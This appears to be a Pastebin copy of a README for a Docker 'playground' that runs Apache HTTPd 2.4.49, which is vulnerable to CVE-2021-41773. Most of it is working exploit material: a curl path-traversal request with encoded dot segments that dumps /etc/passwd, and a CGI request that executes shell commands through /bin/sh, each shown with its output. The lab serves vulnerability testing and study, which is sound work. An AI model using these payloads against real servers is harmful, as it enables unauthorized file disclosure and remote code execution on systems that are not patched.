Advertisement
9r3nXPaRTa

Bug Apche HTTPd (2.4.49)

Oct 7th, 2021
3,637
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.62 KB | None | 0 0
  1. CVE-2021-41773 Playground
  2.  
  3. This is a small Docker recipe for setting up a Debian bookworm based container with an instance of the Apache HTTPd (2.4.49) that is vulnerable to CVE-2021-41773.
  4.  
  5. CGI has been explicitly enabled so it can be used to test/verify Local file Disclosure behavior as well as Remote Command Execution behavior.
  6.  
  7. Usage
  8. $ docker-compose build && docker-compose-up
  9.  
  10. Local file disclosure
  11. $ curl -s --path-as-is "http://localhost:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
  12.  
  13. root:x:0:0:root:/root:/bin/bash
  14. daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  15. bin:x:2:2:bin:/bin:/usr/sbin/nologin
  16. sys:x:3:3:sys:/dev:/usr/sbin/nologin
  17. sync:x:4:65534:sync:/bin:/bin/sync
  18. games:x:5:60:games:/usr/games:/usr/sbin/nologin
  19. man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
  20. lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
  21. mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
  22. news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
  23. uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
  24. proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
  25. www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
  26. backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
  27. list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
  28. irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
  29. gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
  30. nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  31. _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
  32.  
  33. Remote Code Execution
  34.  
  35. $ curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; id' "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh"
  36. uid=33(www-data) gid=33(www-data) groups=33(www-data)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement